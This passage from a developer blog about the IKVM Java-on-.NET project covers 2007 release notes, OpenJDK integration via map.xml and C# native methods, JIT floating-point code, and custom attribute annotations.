Of course, the much more obvious question is: Why does the cast generate code at all, isn't a double already a double?

Before answering this question, let's first look at another minor change to the micro benchmark. Let's remove the Interlocked.CompareExchange() again and change the inner loop body to the following:

    double v = 3.0 * d[j];
d[j] = (double)v;

With this change, the loop now takes just 1 second on my system. When we look at the x86 code generated by the JIT, it becomes obvious why:

fld   qword ptr [ecx+edx*8+8] 
fmul  dword ptr ds:[002A1170h] 
fstp  qword ptr [ecx+edx*8+8]

The redundant fstp/fld instructions are gone.

Back to the question of why the cast isn't always optimized away. The reason for this lies in the fact that the x87 FPU internally uses an extended 80 bit representation for floating point numbers. When you explicitly cast to a double, the ECMA CLI specification requires that this results in a conversion from the internal representation into the IEEE 64 bit representation. Of course, in this scenario we're already storing the value in memory, so this necessarily implies a conversion to the 64 bit representation, making the extra fstp/fld unnecessary.

Finally, in x64 mode all three variations of the benchmark take 1 second on my system. This is because the x64 CLR JIT uses SSE instructions that internally work on the IEEE 64 bit representation of doubles, so the cast is optimized away in all situations here.

For completeness, here's the code generated by the x64 JIT for the inner loop body:

movsd  xmm0,mmword ptr [rcx] 
mulsd  xmm0,mmword ptr [000000C0h] 
movsd  mmword ptr [rcx],xmm0 
8/7/2007 3:02:08 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, August 06, 2007

IKVM 0.34 Update

I made another 0.34 update, since 0.36 is probably still a ways off.

Changes:

  • Fixed handling of magic “assembly” type for assembly attribute annotations (bug #1721688).
  • LocalVariableTable robustness fix (bug #1765952).
  • Fixed handling of public interfaces extending non-public interfaces in ikvmc.
  • Fixed parameter annotations on redirected contructors.
  • Fixed casting ghost interface arrays (bug #1757889).
  • Fixed JNI NewObject method.
  • Fix to make sure all implemented interface methods on .NET types are public (so that ikvmstub generates jars that javac is happy with).

Files are available here: ikvm-0.34.0.4.zip (source + binaries) and ikvmbin-0.34.0.4.zip (binaries).

Update: I forgot to update the AWT toolkit property's assembly version. Fixed in current zips. Thanks to Ted O'Conner for pointing this out.

8/6/2007 10:41:11 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Thursday, August 02, 2007

What about AWT / Swing Support?

In the comments to the previous entry Martin asked:

Would you support AWT / Swing as the Sun Version?

I've always said that AWT / Swing are not a priority for me and that won't change. Having said that, my current idea is to have two AWT back-ends, the default one similar to the current situation, i.e. a .NET Windows Forms based partial implementation. The second (optional) one would be the OpenJDK based implementation, using the OpenJDK native libraries. However, as usual, this is all subject to change.

Andrew asked:

Okay, just wanted to clarify what you mean by 'integrating'. My understanding is you actually replace the GNU Classpath code with code copied from OpenJDK and then try and implement the necessary VM wotsits -- is that correct? If that is the case, presumably the end goal is to complete replace all the Classpath code. At the moment, that'd be a real shame because it would make IKVM more broken as lots of stuff like AWT/Swing is broken on OpenJDK.

That's not really true on IKVM. IKVM has never supported GNU Classpath's AWT/Swing implementation (it includes only the GNU Classpath implementation of the public API, the peer implementations are not used).

In case you're wondering why IKVM doesn't support the GNU Classpath peers, that's because the GNU Classpath peers don't support Windows and also because IKVM is built on top of the CLI and (almost all) the IKVM binaries are OS and CPU architecture independent, using native code is not compatible with that feature.

8/2/2007 9:18:13 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, August 01, 2007

New Hybrid Snapshot

Major code bloat. I've now integrated the bulk of the OpenJDK code that isn't awt or swing. As a result the IKVM.Hybrid.GNU.Classpath.OpenJDK.dll assembly size has grown to about 26 MB. API coverage compared with JDK 1.6 is now at more than 98%. Note that doesn't mean that everything will work, because some back-end implementations are stubbed out or not included.

Disclaimers apply. I haven't done a full test pass on this build.

Changes:

  • OpenJDK: Integrated javax.management package (and sub packages).
  • OpenJDK: Integrated java.lang.management package (only a stub back-end implementation though).
  • OpenJDK: Integrated javax.imageio package (excluding the jpeg support, because OpenJDK uses native code for that).
  • OpenJDK: Integrated javax.activation, javax.annotation, javax.jws, javax.lang.model, javax.tools, javax.xml.*, org.jcp.xml.dsig.internal, org.relaxng.datatype, org.w3c.dom.*, org.xml.sax.* packages.
  • OpenJDK: Integrated javax.sql.* packages.
  • OpenJDK: Integrated javax.accessibility, javax.transaction, javax.activity packages.
  • OpenJDK: Integrated javax.print.* packages (no back-end implementation and ServiceUI is stubbed.)
  • OpenJDK: Integrated org.omg.*, javax.rmi.*, javax.sound.*, org.ietfs.jgss packages.
  • Fixed JNI NewObject method to actually create an object of the requested class, instead of the class of the constructor.
  • Added method name clash handling for AOT access stub methods.

Binaries available here: ikvmbin-hybrid-0.35.2769.zip.

8/1/2007 10:16:12 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, July 26, 2007

New Hybrid Snapshot

A major step in integrating OpenJDK code. One of the bottlenecks was the fact that currently OpenJDK is missing most of the crypto code, but thanks to the IcedTea project I've been able to integrate the OpenJDK java.security package and packages that depend on the crypto code (like java.net). I've also rewritten all socket implementation classes (both classic and nio) based on the OpenJDK code. FileChannelImpl and the direct and mapped byte buffers still need to be converted.

Some of the integrated packages don't have any back-end implementation (e.g. smartcardio and jgss). I'm not likely to implement smartcard support and will revisit the security and crypto stuff once Sun releases the crypto code.

Disclaimers apply. I haven't done a full test pass on this build.

Changes:

  • OpenJDK: Added support for "loading" fake native libraries from VFS and removed hack to bypass loadLibrary() call in System.initializeSystemClass().
  • OpenJDK: Integrated OpenJDK packages: java.net, java.security, java.util.jar, javax.naming, javax.net, javax.security, javax.smartcardio, java.nio.charset, java.nio.channels, java.nio.channels.spi
  • OpenJDK: Integrated IcedTea crypto/security classes.
  • OpenJDK: Fixed a race condition in Thread.interrupt().
  • Allow Object[] to be cast/assigned to ghost array. Fix for bug 1757889.
  • Fixed assembly annotation support (bug 1721688).
  • Added ikvmc warning when annotation type isn't found.
  • Added WINDOWS constant to ikvm.internal.Util to check if we're running on Windows.

Binaries available here: ikvmbin-hybrid-0.35.2763.zip.

7/26/2007 2:15:37 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, July 11, 2007

.NET Framework Security Update

Yesterday Microsoft released a security update for the .NET Framework that fixes the bug I reported last December. I'll write a more detailed analysis (including a proof-of-concept exploit) in a couple of weeks.

7/11/2007 7:10:17 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, July 04, 2007

New Hybrid Snapshot

I decided to take a break from integrating new OpenJDK packages and instead focus on running some test cases and work on stabilization. Contrary to the previous hybrid snapshots, this version should be fairly usable. Feedback is appreciated.

Changes:

  • OpenJDK: Implemented java.util.concurrent.locks.LockSupport.
  • OpenJDK: Fixed race condition in Thread.interrupt() that could cause cli.System.Threading.ThreadInterruptedException to be thrown from interruptable waits/sleep.
  • OpenJDK: Imported and modified java.util.concurrent.locks.AbstractQueuedSynchronizer to make it more efficient and to remove the use of ReflectionFactory & Unsafe to reduce initialization order dependencies.
  • OpenJDK: Changed unsafe to use more efficient internal helper class to copy java.lang.reflect.Field and make it accessible (this also reduces initialization order dependencies).
  • OpenJDK: Added lib/logging.properties to VFS and implemented an additional VFS operation required for reading it.
  • OpenJDK: Changed VFS ZipEntryStream.Read() to always try to read the requested number of bytes, instead of returning earlier. For maximum compatibility with real file i/o.
  • OpenJDK: Commented out system property setting in sun.misc.Version that was setting some version properties to bogus values.
  • OpenJDK: Fixed ObjectInputStream.latestUserDefinedLoader() to skip mscorlib stack frames.
  • OpenJDK: Added support to VFS for the VFS root directory.
  • OpenJDK: Fixed FieldAccessorImpl to check the type of the object passed in.
  • OpenJDK: "Implemented" ClassLoader.retrieveDirectives() by returning empty AssertionStatusDirectives object. Enabling assertions on the ikvm.exe command line is still not implemented.
  • OpenJDK: Switched to javac compiler for building OpenJDK sources.
  • Added workaround for .NET 1.1 reflection bug that causes methods that explicitly override a method to show up twice.
  • Changed handling of ldfld & lfsfld opcodes in remapper to bypass "magic".
  • Restructured handling of fields defined in map.xml to enable referencing them from map.xml method bodies.
  • Fixed java.security.VMAccessController to make sure that if there is only system code on the stack, the resulting AccessControlContext isn't empty.
  • Updated to compile with GNU Classpath HEAD.

Binaries available here: ikvmbin-hybrid-0.35.2741.zip.

7/4/2007 3:04:10 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, June 27, 2007

New Hybrid Snapshot

I'm getting tired of writing the disclaimers and warnings, but they still apply.

The most important change in this snapshot is that there's now a virtual file system for the java.home directory. This has been a long time coming, but the proverbial straw was the fact that the OpenJDK timezone code reads files from the java.home/lib/zi/ directory (IMHO they really should be using resources for these things).

Currently the virtual java.home directory is C:\.virtual-ikvm-home\ on Windows and /.virtual-ikvm-home/ on Unix, but this is subject to change (please let me know if you have thoughts on this). The only contents in there so far is the /lib/zi/ directory tree and only a few file operations are supported (notably the ones required by the timezone code), but expect that eventually all (read-only) file system operations will be supported and more virtual files to appear in there.

Why a Virtual File System Instead Of a Real Java Home Directory?

The main reason is that I want IKVM to behave like a .NET library as much as possible. That means it should be possible to install it into the GAC and support the versioning and side-by-side capabilities of .NET, that's very hard to do when you have to manage real directories.

Changes:

  • OpenJDK: Integrated java.util.spi, java.util.prefs and java.util.logging packages.
  • OpenJDK: Integrated java.text and java.text.spi packages (except for java.text.Bidi class, for which Sun uses native code, so we'll continue to use GNU Classpath's pure Java version.)
  • OpenJDK: Changed build script to include all resources from OpenJDK generated resources.jar.
  • OpenJDK: Integrated java.rmi package.
  • OpenJDK: Changed system/extension class loader creation to make sure that an extension class loader always exists if there is a non-assembly system class loader.
  • OpenJDK: Improved exception handling in java.io.FileDescriptor.
  • OpenJDK: Removed AccessController.doPrivileged() call in Unsafe.fieldOffset(), to work around Mauve brokenness.
  • OpenJDK: Implemented the beginnings of a virtual file system for the java.home directory.
  • Changed JVM.IsUnix to use Environment.OSVersion.Platform.

Binaries available here: ikvmbin-hybrid-0.35.2734.zip.

6/27/2007 8:57:35 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Thursday, June 21, 2007

New Hybrid Snapshot

Another hybrid snapshot update. Just a reminder again: These snapshots have not been tested extensively and are known to be broken (and are much more broken than the non-hybrid snapshots I used to release). They are only intended to be used for testing and getting a feel of how things are going. If you find a bug specific to this snapshot, please don't file a bug on SourceForge, simply send a message to the ikvm-developers list or to me directly.

I'm not going to list everything that's known to be broken, but I will say that Eclipse 3.2 still runs, so at least some parts do work ;-)

This build also includes several GNU Classpath fixes that I haven't yet checked in, so if you're trying to do a hybrid build from cvs you'll end up with something even more broken than this build. [Update: I checked them in.]

Changes:

  • OpenJDK: Upgraded to OpenJDK bundle b13.
  • OpenJDK: Added more resources.
  • OpenJDK: Integrated java.lang.annotation and java.lang.ref packages.
  • OpenJDK: Integrated java.io and java.util packages.
  • Added -serialver option to ikvmstub that forces stub generator to include serialVersionUID field for all serializable classes (to make Japi results more accurate).
  • Fixed GetParameterAnnotations() to return the correct array length for instancehelper__ methods (static methods that represent instance methods on remapped types).
  • Fixed ikvm.io.InputStreamWrapper.available() to return non-zero when more data is available (as suggested by Mark Reinhold). Removed the NormalizerDataReader specific fix from map.xml.
  • Fixed ikvmstub to better handle private interface implementations. (Fixes System.Web.UI.Control subclassing issue).

Binaries available here: ikvmbin-hybrid-0.35.2728.zip.

6/21/2007 7:23:42 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Tuesday, June 19, 2007

Five Years

Wow. Today it's five years ago that I started blogging about IKVM. I'd write more, but I'm having too much fun working on integrating the OpenJDK libraries :-)

6/19/2007 6:32:18 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Thursday, June 14, 2007

First OpenJDK Bug

Yesterday I encountered the first OpenJDK "bug". Sun uses IBM's ICU library for Unicode and Globalization support and it does a couple of DataInputStream.read(byte[]) calls without checking the return value. On IKVM the InputStream that ClassLoader.getSystemResourceAsStream() returns is an ikvm.io.InputStreamWrapper and that always returns 0 from available() when it is wrapping a non-seekable stream and the LZInputStream that decompresses compressed resources is a non-seekable stream. The reason this is significant is that ICU wraps a BufferedInputStream around the InputStreamWrapper and BufferedInputStream uses available() to figure out if it should read more data from the underlying stream if there's still room in the byte array passed in to read(byte[]) after the data from the buffer has been copied. So as long as the underlying stream has an implementation of available() that never returns 0, ICU works fine. I filed a bug report.

Issues like this demonstrate why cloning a large platform is so incredibly difficult. Real world code is bound to have dependencies on implementation details like this. So simply reimplementing a spec isn't sufficient.

For the time being I've added a workaround to map.xml (using the new <replace-method-call /> support) to modify the ICU method to call readFully(byte[]) instead of read(byte[]), but I'm considering rewriting the resource decompression to have available() return the number of bytes still available to read from the stream. There may be other code out there that depends on it.

6/14/2007 12:26:19 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, June 13, 2007

New Hybrid Snapshot

A new snapshot. I integrated all classes in the java.lang package (but not the sub-packages) and this means I have now resolved most VM/Library initialization issues that I was a bit worried about before embarking on this. I had to include one new hackish (or AOP if you will) feature in map.xml: The ability to replace method invocations with arbitrary CIL code sequences. This was in particular necessary to "comment out" the loadLibrary("zip") call in System.initializeSystemClass(). Here's what that looks like in map.xml:

<class name="java.lang.System">
  <method name="initializeSystemClass" sig="()V">
    <replace-method-call class="java.lang.System" name="loadLibrary" sig="(Ljava.lang.String;)V">
      <code>
        <pop />
      </code>
    </replace-method-call>
  </method>
</class>

This simply means that all System.loadLibrary() invocations in System.initializeClass() will be replaced with a pop instruction (to discard the string argument).

Changes:

  • OpenJDK: Integrated java.lang package..
  • OpenJDK: Integrated java.util.regex package.
  • OpenJDK: Integrated java.text.Normalizer and support classes.
  • OpenJDK: New StringHelper.java based on OpenJDK's String.java.
  • OpenJDK: Implemented using the entry assembly's class loader as system class loader.
  • OpenJDK: Replaced zip library loading hack with "replace-method-call" hack.
  • OpenJDK: Implemented the hooks to set the system class loader to the entry assembly's class loader if java.class.path and java.ext.dirs properties aren't set.
  • OpenJDK: Various fixes.
  • Added leave CIL opcode support to remapper.
  • Added support for replacing constructor and static initializer method bodies in map.xml.
  • Added support for locally (i.e. per method) replacing method calls in map.xml.
  • Added optimization to ikvmc for large string literals that are only used to call .toCharArray() on.

Binaries available here: ikvmbin-hybrid-0.35.2720.zip.

6/13/2007 8:35:28 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, June 12, 2007

Array Initialization

One of the many limitations of the Java class file format is that it doesn't support an efficient way of initializing an array. Take the following class for example:

class Foo
{
  private static final int[] values = { 1, 2, 3, 4 };
}

This looks harmless enough, but it is compiled almost exactly the same as this:

class Foo
{
  private static final int[] values;

  static
  {
    int[] temp = new int[4];
    temp[0] = 1;
    temp[1] = 2;
    temp[2] = 3;
    temp[3] = 4;
    values = temp;
  }
}

If you have an array with a few thousand entries, this is starting to look pretty inefficient. Here's how C# compiles the equivalent code (but with an array with more elements, for small arrays the C# compiler does the same as the javac):

using System.Runtime.CompilerServices;

class
Foo
{
  private static readonly int[] values;

  static Foo()
  {
    int[] temp = new int[128];
    RuntimeHelpers.InitializeArray(temp, LDTOKEN($$field-0))
    values = temp;
  }
}

This is pseudo C#, because there's no C# language construct that allows you to directly load a field's RuntimeFieldHandle as the ldtoken CIL instruction does. What happens here is that the C# compiler emits a global read-only data field and then uses RuntimeHelpers.InitializeArray() to copy this field into the array. If you're on a little endian machine, this is simply a memcpy (after checking that the sizes match).

On occasion I've toyed with the idea of making ikvmc recognize array initialization sequences and then converting them into this more efficient form. The reason that I never got around to it is that many people know that array initialization is inefficient and use a workaround: String literals.

Here's a fragment from OpenJDK's java.lang.CharacterData00 class:

static final char X[] = (
  "\000\020\040\060\100\120\140\160...
  ...
  ...
  ...\u1110\u1120\u1130").toCharArray();

I've omitted most of the data, but the string has 2048 characters (and it's not the only one in this class). String literals can be efficiently stored in the class file format, so this is more efficient than explicitly initializing the array elements.

However, on IKVM there's a downside to this approach. Java requires that all string literals are interned and on .NET the string intern table keeps strong references to the interned strings (the Sun JVM uses weak references to keep track of interned strings). So that means that the 2048 character string above that is only used once will stay in memory for the entire lifetime of the application.

Fortunately, this particular scenario is easily detected in the bytecode compiler and can be optimized to use RuntimeHelper.InitializerArray().

Unfortunately, it turns out that the Reflection.Emit API that takes care of creating these read-only global data fields is a little too helpful and hence broken. What I didn't mention earlier is that these read-only global data fields need to have a type and that type has to be an explicit layout value type of the right size. ModuleBuilder.DefineInitializedData() automatically defines this type, but instead of making it private it creates a public type.

The type created by ModuleBuilder.DefineInitializedData() is named $ArrayType$<n> where <n> is the size of the value in bytes. The size is encoded in the type name to make it easy to reuse the same type for other fields that have the same size. It turns out we can abuse this knowledge to work around the limitations of ModuleBuilder.DefineInitializedData() by pre-creating the value type with the right name. Now we can have full control over the properties of the generated type (as long as it's compatible with the requirements of the read-only global field, of course).

Final note: While writing this blog entry I found that Mono's implementation of RuntimeHelpers.InitializeArray() leaves something to be desired.

6/12/2007 8:45:48 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, June 04, 2007

OpenJDK Library/VM Integration

In Merging the First OpenJDK Code and Another x64 CLR Bug I briefly mentioned the three different approaches that are available for integrating the OpenJDK classes with IKVM:

  1. Use existing native interface
  2. Use map.xml tricks
  3. Change the code (i.e. fork a specific source file)

This triggered a couple of questions in the comments.

Morten asked:

about your work of [i]ntegrating the whole of OpenJDK and [y]our 3 options. Could you provide more details? From what you write, it sounds like using aspectj to inject annotations could be useful. Codegeneration might also be useful?

Yes, that's essentially what option 2 is. The map.xml infrastructure allows me to add methods and fields to existing classes, or allows me to replace method bodies.

Albert Strasheim asked:

It's too bad that the Sun and Classpath code aren't compatible down to the native methods called by the pure Java code.

As Andrew pointed out, it would not have been possible or practical to reverse engineer the Sun native interface. Besides that, the Sun and GNU Classpath libraries have very different goals, so it actually makes a lot of sense for the interfaces to differ.

I figured that you'd go the "native methods in C#" route, so I'd be interested to know why you think that the "IKVM specific modifications" route is cleaner and more efficient (efficient in terms of performance or time to implement?).

It would seem that implementing the native methods in C# would be the best solution, but that's not always the case. Hopefully that will become clear below.

Examples

Let's look at some examples and the downsides and cost associated with each of the three options:

1. Use existing native interface

In terms of long term development cost, this is easily the best option. Once you understand the ikvmc native method mapping that is used by the class library, it is very easy to find to corresponding native method. Sun is not very likely to change the native method semantics without also modifying the method name or signature. When a new native method is added, the build process will fail due to the fact that the new native method isn't implemented (and hence generates an unverifiable JNI method stub).

In terms of runtime performance, this method can be very efficient, but only if the method parameters contains all the required data to work on, or if the data can be easily obtained in another efficient way. This is often not the case, because many of the Sun native methods use JNI reflection to access private fields in the object. Here are two real world examples, one where the native methods works really well and another one where it's not as efficient as I'd like:

namespace IKVM.NativeCode.java.lang.reflect
{
  public sealed class Array
  {
    public static bool getBoolean(object arrayObj, int index)
    {
      if (arrayObj == null)
      {
        throw new jlNullPointerException();
      }
      bool[] arr = arrayObj as bool[];
      if (arr != null)
      {
        if (index < 0 || index >= arr.Length)
        {
          throw new jlArrayIndexOutOfBoundsException();
        }
        return arr[index];
      }
      throw new jlIllegalArgumentException("argument type mismatch");
    }
  }
}

Clearly this is very efficient (and it makes you wonder why it's a native method at all). Here's one that's less efficient:

namespace IKVM.NativeCode.java.lang
{
  public sealed class Class
  {
    public static bool isInterface(object thisClass)
    {
      return TypeWrapper.FromClass(thisClass).IsInterface;
    }
  }
}

The thisClass parameter is a reference to the java.lang.Class object, but the VM wants to use its internal representation of a class (TypeWrapper), so here I need to use TypeWrapper.FromClass() to get the corresponding TypeWrapper object. Currently that's implemented by using reflection to access a private field in java.lang.Class (that was added through map.xml).

To contrast, here's the equivalent method for use with the GNU Classpath library:

namespace IKVM.NativeCode.java.lang
{
  public sealed class VMClass
  {
    public static bool IsInterface(object wrapper)
    {
      return ((TypeWrapper)wrapper).IsInterface;
    }
  }
}

Here only a downcast is required, because Class.isInterface() calls VMClass.isInterface(), which reads the vmdata field from Class and passes that to the native IsInterface method.

2. Use map.xml tricks

This is very powerful, but also much more expensive because it is much less obvious what's going on. In the case of a native method that is implemented, if you can't find it in the C# code, you'll probably eventually find it in map.xml, but when replacing an existing method it's very easy to miss the fact that the method is replaced. I've used method replacement in java.lang.ClassLoader to make bootstrap resource loading work. ClassLoader has two private methods getBootstrapResource() and getBootstrapResources() that are used to load resources from the boot class path. These methods are implemented by parsing the sun.boot.class.path system property and then using internal classes to load from these jars or directories. Obviously that won't do for IKVM, because the boot classes and resources are contained in the core library .NET assembly (currently named IKVM.Hybrid.GNU.Classpath.OpenJDK.dll). So I've had to replace these two methods:

<class name="java.lang.ClassLoader">
  <field name="wrapper" sig="Ljava.lang.Object;" modifiers="private" />
  <method name="getBootstrapResource" sig="(Ljava.lang.String;)Ljava.net.URL;">
    <body>
      <ldarg_0 />
      <call class="java.lang.LangHelper"
            name="getBootstrapResource" sig="(Ljava.lang.String;)Ljava.net.URL;" />
      <ret />
    </body>
  </method>
  <method name="getBootstrapResources" sig="(Ljava.lang.String;)Ljava.util.Enumeration;">
    <body>
      <ldarg_0 />
      <call class="java.lang.LangHelper"
            name="getBootstrapResources" sig="(Ljava.lang.String;)Ljava.util.Enumeration;" />
      <ret />
    </body>
  </method>
</class>

These method bodies simply call the real implementations in LangHelper, because it's obviously easier to implement them in Java than in CIL.

3. Change the code (i.e. fork a specific source file)

In some cases, the changes required are so substantial that the map.xml trickery doesn't work or isn't practical. For an example of that we need to look at how reflection is implemented in OpenJDK.

Here's a fragment of java.lang.reflect.Method (not the actual code, but it gets the idea across):

package java.lang.reflect;

public final class Method
{
  private static final ReflectionFactory reflectionFactory = (ReflectionFactory)
    AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());
  private MethodAccessor methodAccessor;

  public Object invoke(Object obj, Object... args)
  {
    // ... access checks omitted ...
    if (methodAccessor == null)
    {
      methodAccessor = reflectionFactory.newMethodAccessor(this);
    }
    return methodAccessor.invoke(obj, args);
  }
}

So the actual method invocation is delegated to an object that implements the MethodAccessor interface. By default Sun's ReflectionFactory returns an object that counts the number of invocations and delegates to another MethodAccessor object that uses JNI to use the VM reflection infrastructure, if the invocation counter crosses a certain value the inner object is replaced by an instance of a dynamically generated class that contains custom generated byte codes to efficiently call the target method (and this generated bytecode is not verifiable, so it won't work as-is on IKVM). In this case I've decided to fork ReflectionFactory and implement my own version that simply returns MethodAccessor instances that reuse the IKVM reflection infrastructure.

The cost of forking a source file should be obvious. When improvements are made to the original, you don't automatically inherit these. In this particular case ReflectionFactory is a fairly small and simple class (all of the complexity is in the classes it calls), so the risk seems low.

Structural Issues

Besides the issues already pointed out, there are also things of a more structural nature. A good example can again be found in java.lang.reflect.Method. Here's its constructor:

Method(Class declaringClass,
       String name,
       Class[] parameterTypes,
       Class returnType,
       Class[] checkedExceptions,
       int modifiers,
       int slot,
       String signature,
       byte[] annotations,
       byte[] parameterAnnotations,
       byte[] annotationDefault)
{
  // ...
}

The constructor expects the generics signature and annotations to be passed in. This poses a dillema. On IKVM looking up the custom attributes that contain this data is relatively expensive and in many cases a method object may be constructed while the code is not interested in generics information or annotations at all, so it might be more desireable to lazily get this data. Another problem is that the annotations are passed in as byte arrays that contain the annotation data as it exists in the class file. Code compiled with ikvmc obviously doesn't have a class file. Despite these two issues, I've chosen to not fork Method. At the moment I think that the performance cost of eagerly getting the generics signature and the annotations is an acceptable trade-off for not having to fork Method. Currently, the way annotations are handled is pretty horrible, because I've left the existing annotation mechanisms in place and reuse the stub class generator code to recreate the annotation byte arrays (and the corresponding constant pool entries) on the fly to pass them into the Method constructor. I've got some ideas to change annotation storage in ikvmc compiled code to use a mechanism that's more compatible with this approach and that may ultimately turn out to be more space efficient as well.

Compatibility

One aspect I haven't talked about yet is compatibility. For example, there's code out there that directly uses ReflectionFactory. This is evil, but it's also reality. So I try to weigh the compability impact as well when I'm trying to find the right approach.

6/4/2007 10:46:34 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, May 31, 2007

First Hybrid OpenJDK / GNU Classpath Snapshot

The first step on a long journey. I've integrated OpenJDK's java.lang.reflect.* a few classes from java.lang.* and a whole bunch of sun.* support classes. Take a look at allsources.lst to see which sources are used from where. I'll try to write a detailed blog entry discussing the various integration points (and answering the questions asked here) over the weekend.

Other changes:

  • Added some conditionally compiled code to work around .NET 2.0 obsoletion warnings.
  • Optimized lcmp, fcmpl, fcmpg, dcmpl and dcmpg bytecodes (by Dennis Ushakov).
  • Fixed ikvmc not to crash if map.xml doesn't contain any <class> entries.
  • Various refactorings to make OpenJDK integration easier.

Known regressions:

  • System class loader is not set correct for ikvmc compiled code.

This is based on OpenJDK drop b12, which appears not to be available for download anymore. The ikvm changes are in cvs. The snapshot binaries are available here: ikvmbin-hybrid-0.35.2707.zip.

As always, snapshots are not intended to be used in production, only for testing and getting a flavor of where development is going.

5/31/2007 4:08:38 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, May 30, 2007

IKVM 0.34 Update

I've made an updated 0.34 release that includes the most important fixes I've done in the last couple of weeks.

Changes:

  • Fixed exception mapping memory leak.
  • Fixed verifier/compiler to support dup_x2 form 2.
  • Fixed for ArrayIndexOutOfBoundsException in generic metadata reflection on dynamically compiled types.
  • Fixed infinite recursion bug when DotNetTypeWrapper.GetName() was used on DerivedType where DerivedType extends BaseType<DerivedType>.
  • Fixed ikvmc generic .NET type loading bug.
  • Fixed Throwable.printStackTrace() to call Throwable.printStackTrace(OutputStream) to support exception classes that only override printStackTrace(OutputStream).
  • Fixed Throwable.printStackTrace(…) to use PrintWriter/PrintStream.println() to trigger flushing on auto-flush writers/streams.
  • Fixed Throwable constructor to set cause correctly if an exception was instantiated but not thrown immediately.

Files are available here: ikvm-0.34.0.3.zip (source + binaries) and ikvmbin-0.34.0.3.zip (binaries).

5/30/2007 2:33:14 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, May 21, 2007

Case Studies

A while ago I gave a talk about IKVM at WL | Delft Hydraulics and I convinced them to describe how they use IKVM, for a case study on the IKVM website. My thanks to Fedor and David for taking the time to do this.

If you or your company uses IKVM and would like to write about it for publication on the IKVM website, I would appreciate it very much. Please contact me by e-mail at jeroen@frijters.net.

5/21/2007 5:41:19 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Friday, May 11, 2007

Merging the First OpenJDK Code and Another x64 CLR Bug

While working on integrating Sun's recently GPLed code to parse and toString floats and doubles (so that this long standing IKVM bug can finally be fixed) I ran into another x64 CLR bug, this time in the JIT. It was a little bit disturbing to see a Double.parseDouble() test fail with the Sun code that previously worked with my lame and hacked up parsing code, but fortunately the workaround was easy. The IKVM bytecode compiler now obfuscates any -0.0 literals it encounters to prevent the x64 JIT from "optimizing" them.

On a more general note, I haven't yet figured out how to go about integrating the whole of OpenJDK, but I have discovered it'll be quite a bit of work. For every class that uses native code to interface with the VM I'll have to decide whether to implement the existing native methods in C#, implement them in map.xml or rewrite the class to add IKVM specific code. Each option has different trade-offs, for example while it sucks to fork a class due to the added work of merging in changes, adding the required IKVM specific modifications inline is often the cleanest and most efficient way of implementing the required functionality.

I think I'm going to dip my toe into the water by changing my java.lang.reflect.* classes, which are currently modified versions of the GNU Classpath classes, into versions derived from the Sun code.

One final note. The OpenJDK is supposedly licensed under the GPL + "Classpath" exception, but the license text says that only files that explicitly opt-in to the "Classpath" exception are covered by the exception. That implies that I'll have to examine each source file to make sure it is covered, before including it with IKVM.

5/11/2007 4:17:15 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Wednesday, May 09, 2007

Custom Attribute Annotations

Custom attributes are a powerful capability of the .NET Framework and unlike Java annotations, there are quite a few custom attributes that are understood directly by the CLR runtime engine, for example things like P/Invoke, declarative Code Access Security and declaring thread or context local static variables can all be done by applying custom attributes. In addition to this there are also lots of reflection based applications of custom attributes because they've been part of the platform since day one.

Because of the importance of custom attributes, it makes sense to try to support them in ikvm. It has been possible for quite a while to apply custom attributes to Java classes, methods and fields by specifying them in the map.xml file and previously I used this when compiling IKVM.GNU.Classpath.dll in a few places (e.g. for declaring a thread local static variable), but given the similarity between custom attributes and Java annotations (which, like many other Java 5 features, were obviously "inspired" by .NET) it only makes sense to try to map custom attributes to annotations whenever possible.

I started working on this a while ago and recently checked in major improvements to this. The feature is now started to take shape nicely.

Limitations

Although conceptually very similar, there are significant differences between .NET custom attributes and Java annotations. The most important one is that custom attributes are classes while annotations are interfaces, as a direct result of that custom attributes use a constructor invocation syntax (plus the ability to set fields and properties), while annotations just name the type and list a number of key/value pairs (very similar to custom attribute properties). This means that in .NET, a custom attribute can specify which parameters are required and which are optional, by making the required parameters constructor arguments and the optional ones properties (or fields) and additionally, because of constructor overloading multiple combinations are possible. Annotation can specify for each individual property if it is required or optional, but there is no mechanism similar to constructor overloading.

This leads to the first limitation: Currently only custom attributes that have a default constructor or a single one-argument constructor (taking a supported type) are supported.

The second limitation is that not all parameter types are supported, only the Java primitive types (where Java's byte maps to System.Byte), type literals, strings and enumerations are supported (and single dimensional arrays of these types). Custom attribute parameters typed as Object are not supported.

Nested Annotation Type

When viewed from Java, every supported custom attribute class will appear to have a nested annotation type named Annotation. Here's an example of applying a simple custom attribute annotation to a field:

public class Foo
{
  @cli.System.ThreadStaticAttribute.Annotation
  private static int threadLocalCounter;
}

I toyed with the idea of naming the annotation by chopping of the Attribute part, to make it consistent with common C# usage, but I ultimately I decided the nested type approach was better. It's a bit more verbose, but it's consistent with how delegates are handled and it greatly reduces the chance of name clashes.

Single Argument Constructor

If a custom attribute has a single argument constructor, that will be translated into an annotation property named value. This allows the simplified syntax to be used:

@cli.System.CLSCompliantAttribute.Annotation(true)
public class Foo { ... }

If the custom attribute also has a default constructor, the value property will be optional.

Enums

